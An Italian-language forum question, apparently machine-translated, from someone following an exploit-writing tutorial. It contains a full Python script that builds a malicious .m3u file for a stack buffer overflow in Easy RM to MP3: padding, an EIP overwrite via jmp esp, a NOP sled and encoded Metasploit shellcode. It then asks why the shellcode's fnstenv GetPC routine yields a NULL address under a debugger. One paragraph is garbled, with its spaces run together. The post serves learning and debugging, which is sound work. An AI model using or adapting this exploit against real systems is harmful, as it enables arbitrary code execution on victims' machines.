Sto passando un tutorial introduttivo sulla scrittura di exploit, che può essere trovato qui . Il tutorial ripercorre una vulnerabilità di buffer overflow basata su stack semplice nell'utilità di conversione Easy RM to MP3. Ho fatto funzionare il PoC di base (anche se ho trovato un offset diverso per sovrascrivere EIP rispetto all'autore anche se ho usato la stessa versione). In altre parole, sono stato in grado di prendere il controllo di EIP e farlo saltare in aria prima dello shellcode, e lo shellcode di test contenente solo un'istruzione break funzionava perfettamente. Tuttavia, sembra che si stiano verificando problemi quando si utilizza lo shellcode reale generato con metasploit (come mostrato nel tutorial). Ecco lo script Python che ho scritto seguendo il tutorial (non volevo usare Perl ...):
from struct import pack
filename = "sploit.m3u"
junk = "A" * 26073
eip = pack("I", 0x7C86467B) # jmp esp
nop = "\x90"
preshell = "X" * 4
shellcode = nop*25
shellcode += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"
payload = junk + eip + preshell + shellcode
with open(filename, "wb") as file:
file.write(payload)
Ecco cosa mostra Windbg dopo il crash dello shellcode (nota che jmp esp funzionava perfettamente bene e che l'eccezione si verificava all'interno dello shellcode):
Dopoaveresaminatoildebugger,sembracheilproblemasiaconl'istruzionefnstenv,cheappareversol'iniziodelloshellcode.Daquellochehotrovatoin
Another interesting mechanism being use to obtain the EIP is to make use of a few special FPU instructions. This was implemented by Aaron Adams in Vuln-Dev mailing list in the discussion to create pure ASCII shellcode. The code uses fnstenv/fstenv instructions to save the state of the FPU environment.
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
ECX will hold the address of the EIP. However, these instructions will generate non-standard ASCII characters.
Sembra che questo sia necessario / utile per decodificare lo shellcode codificato. Tuttavia, l'indirizzo che viene estratto dallo stack dopo la chiamata fnstenv risulta sempre NULL (0x00000000), quindi lo shellcode si blocca in seguito. Ho anche provato questo exploit / shellcode su un altro Windows XP VM che avevo (anche se inizialmente non l'ho creato io stesso) e ho notato lo stesso risultato.
La mia domanda è semplicemente, perché sta succedendo questo? Cosa causerebbe il fallimento dell'istruzione fnstenv, risultante in un indirizzo NULL invece dell'indirizzo EIP? C'è qualche impostazione che devo cambiare (forse qualcosa con le impostazioni hardware di Virtualbox per la VM?) Che impedisce che funzioni correttamente?